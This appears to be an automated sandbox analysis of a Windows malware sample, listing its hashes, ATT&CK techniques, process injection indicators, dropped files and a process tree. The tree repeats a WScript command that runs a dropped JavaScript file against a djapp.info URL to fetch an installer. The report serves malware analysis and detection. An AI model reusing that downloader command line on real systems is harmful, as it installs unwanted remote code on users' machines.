f5630861d5fe6e768065c2496458c5889fa5b2fac806345d8592546fd9a1081b

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
03/06/2024, 15:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe
Size 184KB
Sample240603-sr5fvsaf8v
SHA256 f5630861d5fe6e768065c2496458c5889fa5b2fac806345d8592546fd9a1081b
MD5 923fca9089b81a9d5a9ce16aadba1c3c
SHA1 93d64df0f55d75187ef0f8395187f7dfdf9a4bf9
SHA512 b673db7de2c4c11cdc19c4d6b20c74124911328d9a97e811e1b0953d24e7df16201f750e589fb0245685291c32e3b1502a40282e4f6ae31dd43e014aafceb6e3
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO34C:/7BSH8zUB+nGESaaRvoB7FJNndn0
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2860	WScript.exe
8	2860	WScript.exe
10	2860	WScript.exe
12	2664	WScript.exe
13	2664	WScript.exe
15	1504	WScript.exe
16	1504	WScript.exe
18	1724	WScript.exe
19	1724	WScript.exe
21	2904	WScript.exe
22	2904	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2036 wrote to memory of 2860	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	28
PID 2036 wrote to memory of 2860	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	28
PID 2036 wrote to memory of 2860	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	28
PID 2036 wrote to memory of 2860	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	28
PID 2036 wrote to memory of 2664	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	30
PID 2036 wrote to memory of 2664	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	30
PID 2036 wrote to memory of 2664	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	30
PID 2036 wrote to memory of 2664	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	30
PID 2036 wrote to memory of 1504	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	32
PID 2036 wrote to memory of 1504	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	32
PID 2036 wrote to memory of 1504	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	32
PID 2036 wrote to memory of 1504	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	32
PID 2036 wrote to memory of 1724	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	34
PID 2036 wrote to memory of 1724	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	34
PID 2036 wrote to memory of 1724	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	34
PID 2036 wrote to memory of 1724	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	34
PID 2036 wrote to memory of 2904	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	36
PID 2036 wrote to memory of 2904	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	36
PID 2036 wrote to memory of 2904	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	36
PID 2036 wrote to memory of 2904	2036	923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\923fca9089b81a9d5a9ce16aadba1c3c_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf16FA.js" http://www.djapp.info/?domain=pLbYlpMQqp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fuf16FA.exe
  2⤵
  - Blocklisted process makes network request
  PID:2860
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf16FA.js" http://www.djapp.info/?domain=pLbYlpMQqp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fuf16FA.exe
  2⤵
  - Blocklisted process makes network request
  PID:2664
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf16FA.js" http://www.djapp.info/?domain=pLbYlpMQqp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fuf16FA.exe
  2⤵
  - Blocklisted process makes network request
  PID:1504
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf16FA.js" http://www.djapp.info/?domain=pLbYlpMQqp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fuf16FA.exe
  2⤵
  - Blocklisted process makes network request
  PID:1724
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf16FA.js" http://www.djapp.info/?domain=pLbYlpMQqp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fuf16FA.exe
  2⤵
  - Blocklisted process makes network request
  PID:2904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Size 1KB
SHA256 3560614f2f62c19498d2ad6c3b9fa8f232883167479de05e924a5a3ab19a8454
MD5 13ed5e0369cedc64c8437eb9a493a981
SHA1 880053c91809fef7b2a3d688143f554d5a05c0bd
SHA512 18b3c940a3b722b58c476af4141ab987ed9f7557c1e52f3f20548b2c209abd67c943761d22e20ed59c36d69f8cd911285aff7efdf2d20f51c35cad62932aefa0
MD5 SHA1 SHA512

Submit Download

CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Size 724B
SHA256 58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5
MD5 8202a1cd02e7d69597995cabbe881a12
SHA1 8858d9d934b7aa9330ee73de6c476acf19929ff6
SHA512 97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9
MD5 SHA1 SHA512

Submit Download

24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Size 410B
SHA256 4a7ba3734160671271893893338985486b094e7a41e30234aba336e037bb1af0
MD5 319368a203c3e51a3de913ac4c743bf0
SHA1 dede85b74fd5c11ef1c4ea9033e378f3d989cdaa
SHA512 130ad1056ce248eeff940ce64b825e4d1ab9d5ee93e8ead10eb52b270c8114832902481b198e2d6d6ceeb50b30d929f5e238d671c601c1b5fbc0aa2619fc9ebf
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 344B
SHA256 943b00342fa0e04494f47eb442c7e43af59ff443059af67e7dff870bed7b56e3
MD5 f386e1fd71999d9b5f56822c48386d22
SHA1 aa734c30848c39e056d91f52a4888d0303ff9402
SHA512 918264cba176bd2310354c21c89b125a9548f2dc5a732f02551a7760f4b84ffa20f68831f2d78d64084a72e2291976a1b9377f97490d1b9ca7344b7a876a3b5d
MD5 SHA1 SHA512

Submit Download

CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Size 392B
SHA256 05e1a20c02ad86da8a1dce753ae1680f150b5ddf24bb0a4cc7d38de82591552e
MD5 5102d5335fcdecd1c7cf6e08e955068d
SHA1 f5a75ff3e6cb39a5f46a94699a5d131319389f9e
SHA512 37f242c4295ed488bf591bfcc93c58debad8a7a7f378e47bb7dbe4ff787264a25237b4c8c192831b20a1238316428466462a22cf59af9c3d42b0923ea4c6cef8
MD5 SHA1 SHA512

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I819HQXH\domain_profile[1].htm
Size 6KB
SHA256 986e5581070099516605dd6b805687a7f2a5602f2035a092b8c7152363cc4b2a
MD5 3edbf37db6d34b30858e34c836b6423f
SHA1 efb38f458065b586f29e8229ce8f336cb0417103
SHA512 eb9104c1d7c580114705e9a6cbbf12e1a53071f244ee9e165958d3847cb1ccf28209e6815ad55594a40c18d7f8f738d30d55236371daa00a455eeb95e0900f00
SSDEEP 192:CFYecHw1bc7950r0CtWC3zBM5KhvagVwiXw4fFq0yThr+Ce:CFYecQ1bcJgJtWkBaKhvaMwiXjFq0OhI
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I819HQXH\domain_profile[1].htm
Size 6KB
SHA256 d5a328444057386736a8ac62ff3cb771e5dc1784367dcd85935dddd6783b4556
MD5 2267a51f6ac4712e7ebd2d18bea03d6d
SHA1 70e447f1c5b2797998ad83949a23a17e6dc9ea41
SHA512 5da45546dbfb4fe56716e66085a6b6f56ea8c490c47e9054266ff4b1e1a0938b75d3763d01d41be4261dea98aed27deebe56dfe3ea3ba3b1dedf1bce97be7774
SSDEEP 192:CFYecHw1bc7950r0CtWC3zBM5KhvagVwiXw4fKq0yThr+Ce:CFYecQ1bcJgJtWkBaKhvaMwiXjKq0OhI
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\domain_profile[1].htm
Size 6KB
SHA256 b3325c169f76a27ed159e178ab89618ef8529ae72a973f070ee0727af557f5f5
MD5 c1a7bd070bc1365bbccc8ca9f221b417
SHA1 1372dab672e8ec7abf254e3a63a2a14f50fc7edd
SHA512 5595bdc9661d7d8c6433eb3203e43bc2d9fccee081cbcec1c8b9f6a7d1a2e3a21124fbac8401d2d6e8b6ca22fe0dba68132e8513960ae48be08a34f3ed8dc340
SSDEEP 192:CFYecHw1bc7950r0CtWC3zBM5KhvagVwiXw4fnMq0yThr+Ce:CFYecQ1bcJgJtWkBaKhvaMwiXjMq0OhI
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\domain_profile[1].htm
Size 40KB
SHA256 ec2efb2b4829d07c3b937927b29781fe38d321b06d98ffc7afdec2bb2f0a08ef
MD5 0f119a35a1634df7ac7122abb2868dda
SHA1 70b2c489118b6c53df3f3c6257df147a60bcc797
SHA512 ca40424405ca52156f4ee429b74e51897e101e248df457a7c242508d28023e4ddb36a65cd1042aa34f2d2b704bf5e27be0c445080ce0db91a2453c4aa3ca5225
SSDEEP 768:p6FYdeYy4jJI4Yq7tgn6qaY9VNsh/9gaRRvbv38nf237ZFZNYvcQNyVOlf6ShBvV:IYdeYy4jahj6qrreh/9gibkf237ZFZNc
MD5 SHA1 SHA512 SSDEEP

Submit Download

Cab46D0.tmp

Path C:\Users\Admin\AppData\Local\Temp\Cab46D0.tmp
Size 65KB
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
SSDEEP 1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tar5F02.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tar5F02.tmp
Size 171KB
SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
MD5 9c0c641c06238516f27941aa1166d427
SHA1 64cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA512 936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
SSDEEP 1536:+AuJ+lCUs0RvWqgCyPW5BXNWdm1wpyru2/3EwjYoz0VDTrubmt6mJp:+9J+q0RuXCyfdmAyru2/RAKtgp
MD5 SHA1 SHA512 SSDEEP

Submit Download

fuf16FA.js

Path C:\Users\Admin\AppData\Local\Temp\fuf16FA.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

Submit Download

PS2PYCQH.txt

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\PS2PYCQH.txt
Size 177B
SHA256 e2fa979b864560e60fedc1b6e85bac0f6bf9766b3e2d3f7f125a4394fc3a8b9d
MD5 a8e25753ed5b13e4df7a12b3609ec3f7
SHA1 c27b03670a348efc99e701566e60b278eebb48f4
SHA512 6a229f081f6e3a100e21c296eada8a89711ade2d78f981fe712d1259f0c74374cfa8c25ea736055f9626912ba6a4707ed135e8fb05bc4a5653c9e4dca63a7416
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads